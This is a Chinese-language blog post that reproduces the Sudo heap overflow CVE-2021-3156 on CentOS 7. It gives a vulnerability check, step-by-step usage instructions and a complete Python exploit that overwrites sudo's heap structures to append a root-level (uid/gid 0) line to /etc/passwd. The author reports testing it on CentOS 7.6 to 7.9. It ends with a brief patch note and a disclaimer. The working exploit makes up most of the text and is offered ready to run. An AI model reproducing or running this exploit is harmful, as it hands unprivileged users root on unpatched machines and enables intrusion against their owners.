Sudo 缓冲区溢出漏洞(CVE-2021-3156)复现-CentOS7
2021-01-26,MITRE 公开披露了一个由 Sudo 堆缓冲区溢出导致的本地提权漏洞——CVE-2021-3156,MITRE 相关页面显示,1.9.5p2 版本之前的 Sudo 存在该问题。利用该漏洞,普通用户可以将自身身份提升为 root。判断你的 Linux 是否受该漏洞影响,一个简单的方法是执行sudoedit -s /
,如果返回是sudoedit: /: not a regular file
,表示漏洞存在,如果返回以usage:
开头,说明不受该漏洞影响。Github 用户PhuketIsland针对 CentOS7 发布了该漏洞的的 EXP:https://github.com/PhuketIsland/CVE-2021-3156-centos7。以下是该 EXP 的利用方法
-
首先提取出
/etc/passwd
文件中的文本内容 -
将文本中要提升权限的用户的 uid 和 gid 改为 0
-
将修改后的文本内容插入到下面的代码中的
APPEND_CONTENT
中 -
执行修改后的代码文件
-
用户 uid 和 gid 已被更改,退出当前登录并重新登录
#!/usr/bin/python import os import sys import resource from struct import pack from ctypes import cdll, c_char_p, POINTER SUDO_PATH = b"/usr/bin/sudo" PASSWD_PATH = '/etc/passwd' APPEND_CONTENT = b"""请把我替换为passwd文件中的内容\n"""; STACK_ADDR_PAGE = 0x7fffe5d35000 libc = cdll.LoadLibrary("libc.so.6") libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p) def execve(filename, cargv, cenvp): libc.execve(filename, cargv, cenvp) def spawn_raw(filename, cargv, cenvp): pid = os.fork() if pid: _, exit_code = os.waitpid(pid, 0) return exit_code else: execve(filename, cargv, cenvp) exit(0) def spawn(filename, argv, envp): cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*env) return spawn_raw(filename, cargv, cenvp) resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) TARGET_CMND_SIZE = 0x1b50 argv = ["sudoedit", "-A", "-s", PASSWD_PATH, "A" * (TARGET_CMND_SIZE - 0x10 - len(PASSWD_PATH) - 1) + "\\", None] SA = STACK_ADDR_PAGE ADDR_REFSTR = pack('<Q', SA + 0x20) ADDR_PRIV_PREV = pack('<Q', SA + 0x10) ADDR_CMND_PREV = pack('<Q', SA + 0x18) ADDR_MEMBER_PREV = pack('<Q', SA + 0x20) ADDR_DEF_VAR = pack('<Q', SA + 0x10) ADDR_DEF_BINDING = pack('<Q', SA + 0x30) OFFSET = 0x30 + 0x20 ADDR_USER = pack('<Q', SA + OFFSET) ADDR_MEMBER = pack('<Q', SA + OFFSET + 0x40) ADDR_CMND = pack('<Q', SA + OFFSET + 0x40 + 0x30) ADDR_PRIV = pack('<Q', SA + OFFSET + 0x40 + 0x30 + 0x60) epage = [ 'A' * 0x8 + '\x21', '', '', '', '', '', '', ADDR_PRIV[:6], '', ADDR_CMND[:6], '', ADDR_MEMBER[:6], '', '\x21', '', '', '', '', '', '', '', '', '', '', '', '', '', '', # members.first 'A' * 0x10 + # members.last, pad # userspec chunk (get freed) '\x41', '', '', '', '', '', '', # chunk metadata '', '', '', '', '', '', '', '', # entries.tqe_next 'A' * 8 + # entries.tqe_prev '', '', '', '', '', '', '', '', # users.tqh_first ADDR_MEMBER[:6] + '', '', # users.tqh_last '', '', '', '', '', '', '', '', # privileges.tqh_first ADDR_PRIV[:6] + '', '', # privileges.tqh_last '', '', '', '', '', '', '', '', # comments.stqh_first # member chunk '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any) 'A' * 8 + # member.tqe_next (can be any), userspec.lineno (can be any) ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string) 'A' * 8 + # member.name (can be any because this object is not freed) pack('<H', 284), '', # type, negated 'A' * 0xc + # padding # cmndspec chunk '\x61' * 0x8 + # chunk metadata (need only prev_inuse flag) 'A' * 0x8 + # entries.tqe_next ADDR_CMND_PREV[:6], '', # entries.teq_prev '', '', '', '', '', '', '', '', # runasuserlist '', '', '', '', '', '', '', '', # runasgrouplist ADDR_MEMBER[:6], '', # cmnd '\xf9' + '\xff' * 0x17 + # tag (NOPASSWD), timeout, notbefore, notafter '', '', '', '', '', '', '', '', # role '', '', '', '', '', '', '', '', # type 'A' * 8 + # padding # privileges chunk '\x51' * 0x8 + # chunk metadata 'A' * 0x8 + # entries.tqe_next ADDR_PRIV_PREV[:6], '', # entries.teq_prev 'A' * 8 + # ldap_role 'A' * 8 + # hostlist.tqh_first ADDR_MEMBER[:6], '', # hostlist.teq_last 'A' * 8 + # cmndlist.tqh_first ADDR_CMND[:6], '', # cmndlist.teq_last ] cnt = sum(map(len, epage)) padlen = 4096 - cnt - len(epage) epage.append('P' * (padlen - 1)) env = [ "A" * (7 + 0x4010 + 0x110) + # overwrite until first defaults "\x21\\", "\\", "\\", "\\", "\\", "\\", "\\", "A" * 0x18 + # defaults "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next 'a' * 8 + # prev ADDR_DEF_VAR[:6] + '\\', '\\', # var "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val ADDR_DEF_BINDING[:6] + '\\', '\\', # binding ADDR_REFSTR[:6] + '\\', '\\', # file "Z" * 0x8 + # type, op, error, lineno "\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid) 'C' * 0x638 + # need prev_inuse and overwrite until userspec 'B' * 0x1b0 + # userspec chunk # this chunk is not used because list is traversed with curr->prev->prev->next "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size ADDR_USER[:6] + '\\', '\\', # entries.tqe_next points to fake userspec in stack "A" * 8 + # entries.tqe_prev "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first ADDR_MEMBER[:6] + '\\', '\\', # users.tqh_last "\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first "LC_ALL=C", "SUDO_EDITOR=/usr/bin/tee", # append stdin to /etc/passwd "TZ=:", ] ENV_STACK_SIZE_MB = 4 for i in range(ENV_STACK_SIZE_MB * 1024 / 4): env.extend(epage) # last element. prepare space for '/usr/bin/sudo' and extra 8 bytes env[-1] = env[-1][:-len(SUDO_PATH) - 1 - 8] env.append(None) cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*env) # write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a" r, w = os.pipe() os.dup2(r, 0) w = os.fdopen(w, 'w') w.writelines(APPEND_CONTENT) w.close() null_fd = os.open('/dev/null', os.O_RDWR) os.dup2(null_fd, 2) for i in range(8192): sys.stdout.write('%d\r' % i) if i % 8 == 0: sys.stdout.flush() exit_code = spawn_raw(SUDO_PATH, cargv, cenvp) if exit_code == 0: print("success at %d" % i) break
我已在 CentOS7.6/7.8/7.9 中测试过该 EXP
修复该漏洞的方法是更新 Sudo,确保`sudoedit -s /
`的返回结果以usage:
开头。
本文提及的内容仅用于技术交流,请勿将此漏洞复现的方法用于计算机攻击
参考资料
[1] CVE.https://www.cve.org/CVERecord?id=CVE-2021-3156
[2] 阿里云漏洞库.https://avd.aliyun.com/detail?id=AVD-2021-3156
[3] PhuketIsland.Github.https://github.com/PhuketIsland/CVE-2021-3156-centos7